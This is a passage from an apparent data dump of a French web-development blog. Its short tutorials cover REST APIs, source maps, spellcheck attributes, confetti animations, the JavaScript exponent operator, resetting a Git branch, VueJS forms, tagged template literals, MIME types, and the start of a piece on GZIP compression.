pièce de la maison n°1\n\n#### 1.2 - Méthode HTTP = Action\n\n**Ensuite, pour agir sur une ressource, on va exploiter les méthodes HTTP**, de la manière suivante :\n\n* GET pour **lister**, récupérer une ou plusieurs ressources\n* POST pour **créer** une ressource\n* PUT pour **mettre à jour** une ressource\n* DELETE pour **supprimer** une ressource\n\n> La bonne conception d'une API RESTful réside notamment dans le respect **des règles sémantique d'HTTP comme l'[idempotence](https://code-garage.fr/blog/que-signifie-idempotence-en-programmation/)**\n\n#### 1.3 - Corps de la requête = Données\n\nLes données (parfois appelées payload) seront passées **dans le corps de la requête pour les méthodes HTTP le permettant, en l'occurrence les requêtes POST et PUT.**\n\nIl n'y a pas de limitation sur le format des données passées à l'API, **on utilise souvent le format JSON, mais on peut trouver des API acceptant le format XML, BLOB, etc..**\n\n> Certaines API acceptent et acceptent/renvoient même plusieurs types différents, en rapport avec les informations contenues dans les en-têtes \"Accept\" et \"Content-Type\".\n\n#### 1.4 - En-têtes = Métadonnées\n\nToutes les informations supplémentaires requises par l'API pour son bon fonctionnement, comme :\n\n* Les données d'authentification\n* La langue\n\n...seront communiquées par **les en-têtes des requêtes comme par exemple \"Authorization\", \"Accept-Language\", etc...**\n\n#### 1.5 - Code de status = Résultat\n\nLe résultat des opérations effectuées par l'API devra toujours être représenté par le code de status HTTP correspondant, toujours en gardant en tête que la sémantique de l'API doit être le plus explicite possible.\n\nQuelques examples de code de retours les plus courants :\n\n* 200 => Succès\n* 201 => Succès, une nouvelle ressource a été créée\n* 404 => Ressource introuvable\n* 400 => Problème dans la requête\n\n> L'un des exemple à éviter est par exemple le renvoi d'un code 200, avec un message \"Error: xxxx\" dans le corps de la requête.\n\nSi vous voulez en apprendre plus sur les codes de status HTTP à connaitre absolument, [voici un article dédié](https://code-garage.fr/blog/les-codes-de-retour-http-indispensables-a-connaitre/).\n\n#### 1.6 - HATEOAS\n\nHATEOAS signifie (**Hypermedia As The Engine Of Application State**), et derrière cet acronyme ce cache en réalité un concept assez simple.\n\nUne API RESTful n'est pas seulement censée fournir les données d'une ressource, mais également **les liens (hypertextes) directs vers les ressources connexes dans le but de rendre le parcours de ressources plus simple**, et automatisable.\n\nExemple, un appel \\[GET api.example.com/articles/1\\] vous donnera les détails d'un article de blog avec notamment le nom de l'auteur, mais **la réponse contiendra également un lien vers \"api.example.com/author/2637\" dans l'objet de l'auteur !**\n\n### 2 - Client-Serveur\n\nCette contrainte parait évidente lorsque l'on compare une API RESTful à du GraphQL par exemple, mais comme expliqué au début de l'article, **il y a beaucoup d'APIs mises à diposition par le système, et non au travers d'un serveur distant.**\n\n> Une API REST, elle, fonctionne selon une architecture client-serveur obligatoirement !\n\n### 3 - Sans-état (Stateless)\n\nLa contrainte \"sans-état\" décris un mode de fonctionnement dans lequel **aucune information n'est conservée sur le serveur entre deux appels consécutifs.**\n\nL'exemple le plus parlant reste celui de l'authentification : en utilisant un système de sessions stockées sur le serveur, **alors ce dernier conserve un état en mémoire, on parle alors d'un fonctionnement \"stateful\".**\n\nUne API \"stateless\" va plutôt utiliser une authentification par token (par exemple), et **les informations de l'utilisateur seront stockées dans une base de données et récupérées à chaque nouvel appel,** grâce au jeton fourni dans chaque requête.\n\n**Cela permet notamment de déployer son API sur plusieurs machines, pour passer à l'échelle (scaling) de manière horizontale**, sans risquer de perdre l'état actuel d'une machine, et donc l'authentification d'un utilisateur.\n\n### 4 - Mise en cache\n\nContrairement à certains autres types d'API où le cache n'est pas la priorité, les appels de lecture (GET) d'une API RESTful **doivent pouvoir être mis en cache afin d'optimiser les performances au niveau de la récupération de données.**\n\n### 5 - Système à plusieurs niveaux\n\nCette contrainte ne signifie pas que votre API se DOIT de contenir plusieurs niveaux, **mais PEUT contenir plusieurs niveaux.**\n\nPar exemple on peut imaginer que votre serveur d'API tourne derrière un certain nombre d'autres serveurs, **comme un serveur de cache, un (reverse)proxy, un répartiteur de charge, etc...**\n\nLa contrainte ici est que **les requêtes et les réponses de votre API REST ne doivent pas être impactée par ces intermédiaires**, cela doit être absolument transparent pour le client qui envoit et reçoit ces requêtes.\n\n### 6 - Code à la demande (optionnel)\n\nLa contrainte de \"Code-on-demand\" est la seule qui est optionnelle, d'abord parce que **ça ne répond pas aux besoins de tous les projets, et car il peut y avoir quelques implications en terme de sécurité.**\n\nEn théorie, un client est capable de demander **du code à une API RESTful, qui sera alors contenu dans le corps de la réponse, pour être exécuté sur le client.**\n\nPar exemple, on peut imaginer une balise script récupérée et contenant **une méthode de calcul spécifique pour une donnée**, utilisée par le front-end d'une application.\n\n","Comment fonctionne une API REST ? Quelles sont les contraintes ? Est-ce compatible avec tous les projets ? C'est ce que nous allons découvrir ensemble !","qu-est-ce-qu-une-api-rest","2022-05-23T06:42:38.000Z","2023-09-19T15:05:44.992Z","2022-05-30T06:18:32.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/06/douglas-lopes-ehyV_XOZ4iA-unsplash.jpg","Douglas Lopes sur Unsplash","https://unsplash.com/@douglasamarelo?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1987,"title":1988,"content":1989,"socialTitle":8,"description":1990,"socialDescription":8,"slug":1991,"createdAt":1992,"updatedAt":1993,"publishedAt":1994,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1995,"coverCopyright":394,"coverCopyrightLink":395},389,"À quoi servent les fichiers en *.js.map ?","En ouvrant les outils de développement de votre navigateur, vous avez déjà :\n\n* Vu le **téléchargement de fichier \\*.[js.map](http://js.map)** dans votre onglet réseau\n* Ou au contraire **un avertissement dans la console** disant que ces fichiers sont manquants\n\n**Mais à quoi servent ces fichiers exactement, sont-ils utiles, voir indispensables ?** C'est-ce que nous allons découvrir aujourd'hui.\n\n## Qu'est-ce qu'une \"Source Map\" ?\n\nLorsque vous minifiez du code source, ou que vous le transpilez d'un langage vers un autre (Typescript par exemple), **alors votre code déployé est très différent du code que vous développez.**\n\nPlusieurs fichiers sont fusionnés en un seul, les variables sont renommées, etc... **Le code est illisible en cas de debuggage** avec le navigateur.\n\nLes fichiers de mapping sont donc des fichiers générés en même temps que le code minifié/transpilé et contiennent les informations pour **retrouver un code lisible.**\n\n> En résumé : **Code compilé + Source Map = Code source**\n\nEt c'est grâce à cela que votre navigateur peut vous montrer le code source depuis l'onglet \"sources\" de vos outils de développement !\n\n## Comment cela fonctionne ?\n\nLa première question que l'on se pose c'est : \"Quel est l'intérêt de minifier un fichier **si on sert un deuxième fichier à côté ?**\"\n\nEn réalité, les fichiers \\*.[js.map](http://js.map) ne sont pas téléchargés automatiquement au chargement du site, mais uniquement **si les outils de développement de votre navigateur sont ouverts !**\n\n> Donc cela n'alourdi pas votre site lors d'une utilisation classique !\n\n### Génération de la Source Map\n\nC'est lors de la compilation de votre code que votre chaîne d'outil va (ou non) **générer les fichiers de source, selon la configuration fournie.**\n\nPar exemple, le compilateur **Typescript ne génère pas par défaut ces fichiers**, et il faudra ajouter l'option de compilateur \"sourceMap: true\" comme indiqué [dans la documentation](https://www.typescriptlang.org/tsconfig#sourceMap).\n\nVoici un exemple minimal de fichier .js.map généré :\n\n```\n// index.js.map\n{\n \"version\": 3,\n \"file\": \"index.min.js\",\n \"sourceRoot\": \"\",\n \"sources\": [\"src/index.ts\"],\n \"names\": [],\n \"mappings\": \";;AAAa,QAAA,UAAU,GAAG,IAAI,CAAA\"\n}\n```\n\n> L'idée de cet article n'est pas de détailler l'anatomie complète d'un tel fichier, mais si le sujet vous intéresse, voici [un article complet de bugsnag](https://www.bugsnag.com/blog/source-maps) !\n\nPour que votre navigateur sache à l'avance qu'il est censé pouvoir télécharger un tel fichier pour s'en servir, **il est nécessaire d'ajouter une information précise dans votre fichier généré.**\n\nCette information est **une simple directive sous la forme d'un commentaire** en Javascript, contenant l'url du fichier de mapping comme ceci :\n\n```\n//index.min.js\n\n...\n//# sourceMappingURL=http://example.com/path/to/your/sourcemap.js.map\n```\n\nEt si jamais cette directive est présente mais que **le fichier de mapping correspondant est absent du serveur**, vous recevrez l'erreur suivante dans votre console :\n\n```\n\nDevTools failed to load SourceMap: Could not load content for http://example.com/path/to/your/sourcemap.js.map: HTTP error: status code 404, net::ERR_HTTP_RESPONSE_CODE_FAILURE\n\n```\n\n","Vous voyez passez des informations relatives aux fichiers .js.map mais vous ne savez pas à quoi cela correspond ? On décortique ce sujet ensemble !","a-quoi-servent-les-fichiers-source-map","2022-06-07T06:20:04.000Z","2023-09-19T15:05:45.058Z","2022-06-07T06:41:45.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/06/annie-spratt-kZO9xqmO_TA-unsplash.jpg",{"id":1997,"title":1998,"content":1999,"socialTitle":8,"description":2000,"socialDescription":8,"slug":2001,"createdAt":2002,"updatedAt":2003,"publishedAt":2004,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":2005,"coverCopyright":2006,"coverCopyrightLink":2007},402,"Activer/Désactiver le correcteur auto. sur un input/textarea","Que ce soit dans un but éducatif, ou que ce soit lié à une fonctionnalité spécifique, **il est parfois utile de pouvoir activer ou désactiver la correction orthographique** et grammatical dans les formulaires de vos pages web !\n\nIl est également bon de savoir que le comportement du correcteur orthographique est entièrement **lié au navigateur en lui-même, tant sur son efficacité, que son apparition.**\n\n> Le comportement général est que la correction est active par défaut sur un \u003Ctextarea> alors qu'elle est désactivée pour un \u003Cinput>.\n\nMais voici comment l'activer/désactiver grâce à un simple attribut \"spellcheck\" :\n\n```\n\n\u003Cinput type=\"text\" spellcheck=\"true\"/>\n\u003C!-- ou -->\n\u003Ctextarea spellcheck=\"false\">\u003C/textarea>\n\n```\n\nÀ noter que l'attribut \"spellcheck\" est actuellement **entièrement compatible avec [seulement 36,65% des navigateurs](https://caniuse.com/?search=spellcheck)**. Les navigateurs mobiles ignorent parfois la valeur spellcheck=\"false\".\n\nRetrouvez plus d'informations sur l'attribut dans **[la documentation du Mozilla Developer Network](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/text#spellcheck) !**\n\n> J'espère que l'article vous aura été utile, et à bientôt sur le blog !\n\n","Vous voulez enlever les petites vagues rouges qui apparaissent dans vos champs de formulaires ? Voici la solution !","comment-desactiver-le-correcteur-orthographique-sur-un-input-textarea","2022-07-15T06:48:15.000Z","2023-09-19T15:05:45.222Z","2022-09-05T07:11:33.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/07/towfiqu-barbhuiya-vjUvEpT2xTE-unsplash.jpg","Towfiqu barbhuiya sur Unsplash","https://unsplash.com/@towfiqu999999?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":2009,"title":2010,"content":2011,"socialTitle":8,"description":2012,"socialDescription":8,"slug":2013,"createdAt":2014,"updatedAt":2015,"publishedAt":2016,"styleHead":8,"scriptFooter":2017,"seoTitle":8,"seoDescription":8,"legacyCover":2018,"coverCopyright":2019,"coverCopyrightLink":2020},457,"Créer une explosion de confettis en JS en quelques secondes !","## Pour quoi faire ?\n\nLorsque l'on travaille sur l'expérience utilisateur, l'une des mécaniques incontournables est **la récompense de l'utilisateur (ou l'utilisatrice).**\n\nEn effet, votre application ou votre site, a normalement pour but d'apporter de la valeur à la personne qui va l'utiliser et donc **il doit y avoir un chemin le plus clair possible du début jusqu'à la livraison de cette valeur !**\n\n> Chaque étape doit motiver la personne à continuer l'expérience, et ceci est fait grâce à un système de récompenses\n\nUne récompense ne signifie pas forcément un cadeau, mais peut simplement être un message de félicitation, un badge ou... une animation ! L'avantage d'une animation, accompagnée d'un message personnalisé, **c'est que l'effet visuel est surprenant, et donc l'émotion positive est renforcée.**\n\n> Et si une animation pareille pouvait s'intégrer en quelques secondes ?\n\n## La bibliothèque \"canvas-confetti\" !\n\nCette bibliothèque va vous permettre de **déclencher une explosion de confettis sur n'importe laquelle de vos pages web**, et incluant un script (ou un [paquet NPM](https://www.npmjs.com/package/canvas-confetti)), et un canvas vierge !\n\nVoici ce que ça donne avec la configuration de base :\n\nEssayez-moi !\n\nSi vous voulez le mettre en place, je vous recommande d'aller directement sur [la documentation GitHub du projet](https://github.com/catdad/canvas-confetti), vous y trouverez toutes les étapes pour démarrer, mais surtout **pleins de configurations pour modifier l'animation à votre sauce (couleurs, tailles, vitesse, direction,...) !**\n\n> Vous pouvez également trouver [d'autres démos juste ici](https://www.kirilv.com/canvas-confetti/) !\n\n### Exemple de code\n\nVoilà le code exact qui implémente l'animation basique présente dans l'article, vous verrez que l'utilisation est très simple :\n\n```\n\u003C!-- HTML -->\n\u003Cbutton id=\"btn\">Essayez-moi !\u003C/button>\n\u003Ccanvas id=\"confetti-canvas\">\u003C/canvas>\n\n\u003C!-- JS -->\n\u003Cscript src=\"https://cdn.jsdelivr.net/npm/canvas-confetti@1.5.1/dist/confetti.browser.min.js\">\u003C/script>\n\u003Cscript type=\"text/javascript\">\n const btn = document.querySelector('#btn');\n const canvas = document.querySelector('#confetti-canvas');\n function onButtonClick(){\n var myConfetti = confetti.create(canvas, {\n resize: true,\n useWorker: true\n });\n myConfetti({\n particleCount: 100,\n spread: 160\n });\n }\n btn.addEventListener('click', onButtonClick);\n\u003C/script>\n\n\u003C!-- CSS -->\n\u003Cstyle>\n#confetti-canvas {\n position: fixed; \n z-index: 999; \n top: 0; \n left: 0; \n width: 100vw; \n height: 100vh; \n pointer-events: none;\n}\n\u003C/style>\n```\n\n> Et voilà, vous pouvez désormais déclencher des confettis n'importe quand !\n\n**À noter que si vous utilisez React**, il existe également un paquet appelé [react-confetti](https://www.npmjs.com/package/react-confetti), qui offre une implémentation différente de l'animation, et permet même de créer des formes de confetti personnalisées !\n\n","Qui n'a jamais rêvé d'ajouter une telle animation sur son site web, avec quelques lignes de JavaScript ?","creer-une-explosion-de-confettis-en-js-en-quelques-secondes","2023-01-27T09:08:39.000Z","2023-09-19T15:05:46.280Z","2023-01-30T08:06:45.000Z","\u003Ccanvas id=\"confetti-canvas\" width=\"100%\" style=\"position: fixed; z-index: 999; top: 0; left: 0; width: 100vw; height: 100vh; pointer-events: none;\">\u003C/canvas>\n\u003Cscript src=\"https://cdn.jsdelivr.net/npm/canvas-confetti@1.5.1/dist/confetti.browser.min.js\">\u003C/script>\n\u003Cscript type=\"text/javascript\">\ndocument.querySelector('#pop').addEventListener('click', onButtonClick);\nfunction onButtonClick(){\n var myConfetti = confetti.create(document.querySelector('#confetti-canvas'), {\n resize: true,\n useWorker: true\n });\n myConfetti({\n particleCount: 100,\n spread: 160\n });\n}\n\u003C/script>\n\u003Clink rel=\"stylesheet\"\n href=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.0/styles/atom-one-dark.min.css\">\n\u003Cscript src=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.0/highlight.min.js\">\u003C/script>\n\u003Cscript>hljs.initHighlightingOnLoad();\u003C/script>\n\u003Cstyle>.post-full-content code {font-weight: bold !important;}\u003C/style>","https://cellar-c2.services.clever-cloud.com/content/2023/01/hugo-ruiz-e2pVrE1PYzs-unsplash.jpg","Hugo Ruiz sur Unsplash","https://unsplash.com/@2hrrc?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":2022,"title":2023,"content":2024,"socialTitle":8,"description":2025,"socialDescription":8,"slug":2026,"createdAt":2027,"updatedAt":2028,"publishedAt":2029,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":2030,"coverCopyright":2031,"coverCopyrightLink":2032},462,"L'opérateur dont vous ignorez l'existence en JavaScript...","Il y a quelques semaines, j'ai découvert qu'**un opérateur mathématique supplémentaire a été introduit en JavaScript depuis ECMAScript 2016**, et donc supporté par tous les navigateurs récents.\n\nCet opérateur c'est : **l'exponentation, et il s'écrit \\*\\* !**\n\n> Oui je sais, le nom n'aide pas beaucoup à savoir ce qu'il fait...\n\nPourtant, son utilisation est très simple, et il peut être vraiment utile pour **alléger les expressions mathématiques dans son code.** Prenons le théorème de Pythagore en exemple :\n\n```\nconst a = 4;\nconst b = 3;\nconst c = Math.sqrt(Math.pow(a,2) + Math.pow(b,2));\n// c = 5\n```\n\nAvec **l'opérateur \\*\\* qui permet de calculer un nombre à la puissance n**, notre expression devient simplement :\n\n```\nconst c = (a**2 + b**2) ** 0.5;\n// c = 5\n```\n\n> Pour celles et ceux qui, comme moi, ne sont pas des génies en mathématiques, vous aurez également appris qu'**un nombre à la puissance 0.5 est égal sa racine carrée...**\n\nEn résumé, l'opérateur \\*\\* **permet de calculer la puissance d'un nombre, sans avoir à utiliser la méthode Math.pow !**\n\n","Vous pensiez connaitre tous les opérateurs mathématiques disponibles en JavaScript ? Connaissez-vous l'exponentation ?","operateur-exponentation-javascript","2023-02-10T08:55:43.000Z","2023-09-19T15:05:46.373Z","2023-02-13T08:26:46.000Z","https://cellar-c2.services.clever-cloud.com/content/2023/02/thomas-t-OPpCbAAKWv8-unsplash.jpg","Thomas T sur Unsplash","https://unsplash.com/@pyssling240?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":2034,"title":2035,"content":2036,"socialTitle":8,"description":2037,"socialDescription":8,"slug":2038,"createdAt":2039,"updatedAt":2040,"publishedAt":2041,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":2042,"coverCopyright":394,"coverCopyrightLink":395},463,"Réinitialiser une branche depuis une origine avec Git","Vous venez de fusionner (merge) deux branches ensemble sans faire attention ? **Votre branche de travail doit être réinitialisée** car vous avez fait une erreur, mais vous ne savez pas comment faire ?\n\n> Voici la solution !\n\nIl est important de noter qu'en suivant ces étapes, tout le travail effectué sur votre branche courante et **non-présent sur la branche du dépôt distant sera entièrement supprimé.**\n\n> Suivez donc ce conseil en toutes connaissances de cause !\n\nLa première étape consiste à bien vérifier que **vous êtes actuellement sur la branche que vous souhaite réinitialiser/resynchroniser** avec le dépôt distant.\n\nIci la branche en question s'appelle **\"dev\" :**\n\n```\n$> git checkout dev\n```\n\nEnsuite, on va revenir à l'état exact dans lequel **se trouve notre branche distante :**\n\n```\n$> git reset --hard origin/dev\n```\n\nL'argument --hard fait en sorte que **les modifications de fichiers ne soient pas conservées en tant que modifications en attente** (comme un reset classique). Par contre, **si vous aviez créé de nouveau fichiers**, alors ces derniers seront toujours présents, prêt à être ajoutés à l'historique. \n \nSi c'est le cas, **vous pouvez supprimer** (attention) tous ces fichiers, grâce à la commande clean :\n\n```\n# Pour simuler le nettoyage\n$> git clean -xfn\n\n# Pour exécuter le nettoyage\n$> git clean -xf\n```\n\nEt voilà, **votre branche locale est parfaitement identique** à la branche distante, et toutes les modifications ont été supprimées !\n\n","Coincé.e avec une branche Git dans un état non désirée ? Voilà les trois étapes pour réinitialiser votre branche dans son état initial !","reinitialiser-une-branche-depuis-origine-avec-git","2023-02-10T09:26:10.000Z","2023-09-19T15:05:46.404Z","2023-02-15T09:23:48.000Z","https://cellar-c2.services.clever-cloud.com/content/2023/02/annie-spratt-ZQpVxFTcZcE-unsplash.jpg",{"id":2044,"title":2045,"content":2046,"socialTitle":8,"description":2047,"socialDescription":8,"slug":2048,"createdAt":2049,"updatedAt":2050,"publishedAt":2051,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":2052,"coverCopyright":1317,"coverCopyrightLink":1318},475,"La mauvaise pratique à bannir dans vos formulaires VueJS","Je mets ma main à couper, que **95% de vos formulaires fais avec VueJS** ressemblent à ça :\n\n```html\n\u003Cdiv class=\"form\">\n \u003Clabel for=\"email\">Email *\u003C/label>\n \u003Cinput type=\"email\" id=\"email\" v-model=\"email\" />\n \u003Clabel for=\"password\">Password *\u003C/label>\n \u003Cinput type=\"password\" id=\"password\" v-model=\"password\" />\n \u003Cp v-if=\"error\">{{ error }}\u003C/p>\n \u003Cbutton @click=\"send()\">Envoyer\u003C/button>\n\u003C/div>\n```\n\nBien sûr, peut-être que vous utilisez une bibliothèque pour générer et styliser vos \u003Cinput>, et donc votre formulaire est légèrement différent, **mais une vraie erreur de conception se cache derrière ce formulaire...**\n\n> Cette erreur, c'est qu'**il ne s'agit pas d'un formulaire** !\n\n## Pourquoi utiliser un élément \u003Cform> ?\n\nAvec les [frameworks](https://code-garage.fr/blog/librairie-vs-framework-quelle-est-la-difference/) front modernes et l'utilisation de requêtes HTTP asynchrones (ajax), **l'élément \u003Cform> est apparu pour beaucoup comme complètement inutile**, car il ne servait qu'à envoyer les informations de manière synchrone au serveur.\n\n> Mais c'est faux !\n\nEn réalité, **de nombreuses fonctionnalités natives du web sont possibles grâce à l'utilisation des formulaires HTML**, ce qui améliore grandement l'expérience utilisateur, l'accessibilité, mais également l'expérience de développement !\n\nPar exemple, **en utilisant un élément \u003Cform>, on peut :**\n\n* Utiliser l'attribut natif **\"required\"** pour indiquer qu'un champ est requis et donc bloquer l'envoi du formulaire sans rajouter de JavaScript\n* Uutiliser l'attribut **\"pattern\"** pour valider le champ avec une RegEx,  (mais également **\"minlength\"** et **\"maxlength\"**)\n* Envoyer le formulaire automatiquement lors de l'**appui sur la touche \"Entrée\"**\n* Indique sémantiquement au navigateur que tous les champs font partie du même formulaire, pour faciliter la tâche aux **outils d'aide à l'accessibilité**\n\n> Il y a sûrement d'autres avantages, si jamais vous en avez, n'hésitez pas à nous les envoyer !\n\n### La bonne pratique\n\nLa meilleure pratique est donc d'**utiliser un \u003Cform> et d'écouter l'évènement natif \"submit\"** :\n\n```html\n\u003Cform @submit=\"send()\">\n \u003Clabel for=\"email\">Email *\u003C/label>\n \u003Cinput \n type=\"email\" \n pattern=\"[a-z0-9._%+-]+@[a-z0-9.-]+\\.[a-z]{2,4}$\" \n id=\"email\" \n v-model=\"email\" \n />\n \u003Clabel for=\"password\">Password *\u003C/label>\n \u003Cinput \n type=\"password\" \n minlength=\"8\" \n id=\"password\" \n v-model=\"password\" \n />\n \u003Cbutton type=\"submit\">Envoyer\u003C/button>\n\u003C/div>\n\n\u003Cscript>\nexport default {\n setup(){\n function send(ev){\n //Empèche le formulaire de recharger la page\n ev.preventDefault();\n // Le code de votre requête vient ici\n //...\n }\n }\n}\n\u003C/script>\n```\n\n> Alors comment ça marche ?\n\nSi vous n'êtes pas habitué.e à utiliser les formulaires, **certaines choses peuvent vous paraitre étrange dans le code** ci-dessus, alors voici quelques explications :\n\nD'abord, un _**\u003Cform>**_ sans attribut _**\\[action=\"...\"\\]**_ rechargera la page courant lors de l'envoi, il faut donc appeler la méthode _**ev.preventDefault()**_ lors de l'envoi du formulaire pour éviter le rechargement de la page.\n\nPour finir, il faut savoir que le formulaire sera envoyé automatiquement si un élément _**\u003Cbutton type=\"submit\">**_ est présent et qu'il est cliqué, même s'il n'est lié à aucun évènement.\n\n","Si vous faites cette erreur, il n'est pas trop tard pour vous remettre à utiliser les éléments \u003Cform> !","la-mauvaise-pratique-a-bannir-dans-vos-formulaires-vuejs","2023-03-31T09:34:49.000Z","2023-09-19T15:05:46.600Z","2023-04-03T07:17:58.000Z","https://cellar-c2.services.clever-cloud.com/content/2023/03/chuttersnap-Odc4dcsjUBw-unsplash.jpg",{"id":2054,"title":2055,"content":2056,"socialTitle":8,"description":2057,"socialDescription":8,"slug":2058,"createdAt":2059,"updatedAt":2060,"publishedAt":2061,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":2062,"coverCopyright":8,"coverCopyrightLink":8},487,"Qu'est-ce que les \"tagged literal templates\" en JavaScript ?","Ces dernières semaines, l'entreprise [Vercel](https://vercel.com/) a fait polémique en sortant une nouvelle fonctionnalité, en partie illustrée par le code suivant :\n\n```\nsql`INSERT INTO products (name) VALUES (${formData.get('name')})`;\n```\n\nSi vous survolez ce code, **vous n'y verrez sûrement qu'une chaîne de caractère en JavaScript**, communément appelée une \"template string\". Et vous aurez probablement remarqué une potentielle vulnérabilité :  **Une faille SQL.**\n\n> En réalité, **rien de tout ça n'est vrai !**\n\nEt ce qui fait la différence, c'est ce petit '**sql**' juste avant la chaîne de caractères, c'est ce qu'on appelle une \"tagged template string\" (ou \"tagged literal template\").\n\nPour faire simple, ce 'tag' est **une fonction qui va prendre en paramètre notre template string et qui va pouvoir la transformer.** Dans l'exemple du dessus, le tag 'sql' va échapper certains caractères pour éviter les injections, et il va même exécuter la requête SQL !\n\nPour montrer le fonctionnement interne de ce genre de tag, voici un exemple de tag template qui va nous permettre de **\"censurer\" des mots inappropriés d'un texte d'entrée :**\n\n```\n// List of bad words\nconst badWords = ['crap', 'darn', 'heck', 'jerk', 'butt', 'douche'];\n\n// Tagged literal function to replace bad words by ****\nfunction safe (strings, ...values) {\n return strings.reduce((acc, str, i) => {\n if(i > values.length - 1) return acc + str;\n const word = badWords.indexOf(values[i]) > -1 ? '****' : values[i];\n return acc + str + (word);\n }, '');\n}\n\nconst data = 'crap';\n\n// Test without tagged literal\nconsole.log(`Hi, ${data}!`);\n// Test with tagged literal\nconsole.log(safe`Hi, ${data}!`);\n```\n\n> Sortie : \n>    > Hi, crap! \n>    > Hi, \\*\\*\\*\\*\n\nComme vous pouvez le voir, **un tag est simplement une fonction où l'on va récupérer toutes les parties de la template string** (le template, et les données séparées) pour les traiter.\n\n> Retrouvez plus de détails sur cette fonctionnalité sur [la page de la documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#tagged_templates) MDN dédiée !\n\nÀ titre personnel, je trouve cette fonctionnalité intéressante, mais comme elle est assez peu connue (et utilisée) des développeurs et développeuses, **je pense que la syntaxe peut vite mener à des confusions, à utiliser avec précaution !**\n\n","Une fonctionnalité disponible depuis ES6 mais encore assez méconnue !","apprenez-a-vous-servir-des-tagged-literal-templates","2023-05-09T06:45:59.000Z","2023-09-19T15:05:46.789Z","2023-05-15T07:45:42.000Z","https://cellar-c2.services.clever-cloud.com/content/2023/05/flying-object-_pj-ceQyoY4-unsplash.jpg",{"id":2064,"title":2065,"content":2066,"socialTitle":8,"description":2067,"socialDescription":8,"slug":2068,"createdAt":2069,"updatedAt":2070,"publishedAt":2071,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":8,"coverCopyright":8,"coverCopyrightLink":8},542,"Comprendre les types MIME en 2 minutes","Le sigle MIME signifie « Multipurpose Internet Mail Extension », c’est **un standard qui permet de spécifier le type d’un média/fichier**, à l’origine utilisé pour les fichiers envoyés en pièce jointe d’un e-mail.\n\n> On parle parfois simplement de « media types »\n\nAujourd’hui de nombreuses technologies s’appuient sur le standard MIME, c’est notamment le cas pour **le protocole HTTP.**\n\n## Le format\n\nUn type MIME est très flexible en termes de contenu, car **il permet de définir des types de médias personnalisés**, mais il est indispensable de respecter son format.\n\nChaque média est défini par :\n\n- un **type**\n- un **sous-type**\n- un **paramètre** (optionnel)\n\nSous le format suivant :\n\n```text\n# format\n\u003Ctype>/\u003Csubtype>;[parameter]\n\n# exemple\nimage/png\n\n# exemple avec paramètre\ntext/html;charset=UTF-8\n```\n\nLa plupart des types MIME **ne nécessitent pas de paramètre**, mais il est important de savoir que cela existe.\n\n## Les sous-type personnalisés\n\nCe qui a permis au standard MIME d’être toujours valable après autant d’années, c’est le fait qu’il soit **facilement extensible.**\n\nLes types principaux sont eux au nombre de dix, avec notamment :\n\n- application\n- image\n- video\n- text\n- …\n\n> Mais les formats, eux, peuvent être personnalisés grâce à des suffixes.\n\nPour tous les formats non-standards, le préfixe à utiliser est « x », comme par exemple pour les fichiers .ico :\n\n```text\nimage/x.icon\n```\n\nEt pour les formats propriétaires, comme ceux de Microsoft, on utilise le préfixe \"vnd\" pour \"vendor\" :\n\n```text\napplication/vnd.ms-excel\n```\n\n> À noter que parfois le préfix est séparé par un « - » au lieu de « . »\n\n### La standardisation\n\nCertains formats de fichier qui prennent de l’ampleur **sont ajoutés au standard après un certains temps.** \n\nC’est le cas pour les fichiers Markdown qui sont passés de text/x.markdown à text/markdown.\n\n## Pourquoi ne pas utiliser l’extension du fichier ?\n\nIl est vrai que la majorité des fichiers possèdent un nom se terminant par une extension représentant leur format, comme an-example-picture.png\n\n> Mais il existe de nombreuses situations où **le fichier est accessible simplement avec un identifiant**\n\nImaginons l’URL fictive suivante : **https://example.com/images/user34** \n\nLe navigateur **ne sera pas capable d’interpréter correctement ce fichier** pour l’afficher s’il n’est pas accompagné par l’en-tête HTTP :\n\n> Content-Type: image/jpeg;\n\n## Quelques exemples courants :\n\n### Images\n\n- image/jpeg\n- image/png\n- image/gif\n- image/webp\n\n### Vidéos\n\n- video/mp4\n- video/mpeg\n\n### Application\n\n- application/javascript\n- application/json\n\n### Texte\n\n- text/plain\n- text/html","Ils sont utilisés partout, et notamment dans le web, la norme MIME est simple à comprendre, mais indispensable !","comprendre-les-types-mime","2023-10-02T07:59:35.425Z","2023-10-06T08:57:42.159Z","2023-10-02T07:59:36.594Z",{"id":2073,"title":2074,"content":2075,"socialTitle":8,"description":2076,"socialDescription":8,"slug":2077,"createdAt":2078,"updatedAt":2079,"publishedAt":2080,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":8,"coverCopyright":8,"coverCopyrightLink":8},550,"La compression GZIP, c’est quoi ?","Si vous utilisez des outils d’analyse des performances de votre site web, tels que Google Lighthouse par exemple, vous aurez sûrement vu ce conseil passer :\n\n> **Activez la compression gzip** sur votre serveur web pour réduire le poids des réponses HTTP\n\nMais qu’est-ce que cela signifie exactement ?\n\n# Pourquoi compresser ?\n\nMême si nos infrastructures réseau sont de plus en plus performantes, la performance de nos machines en termes de **nombre de calculs effectués à la seconde** évolue beaucoup plus rapidement.\n\n> C’est ce que prédisait [la loi de Moore](https://fr.wikipedia.org/wiki/Loi_de_Moore)\n\nCela signifie notamment, qu’en terme de performances, **il est aujourd’hui plus efficace de perdre quelques millisecondes pour compresser une donnée 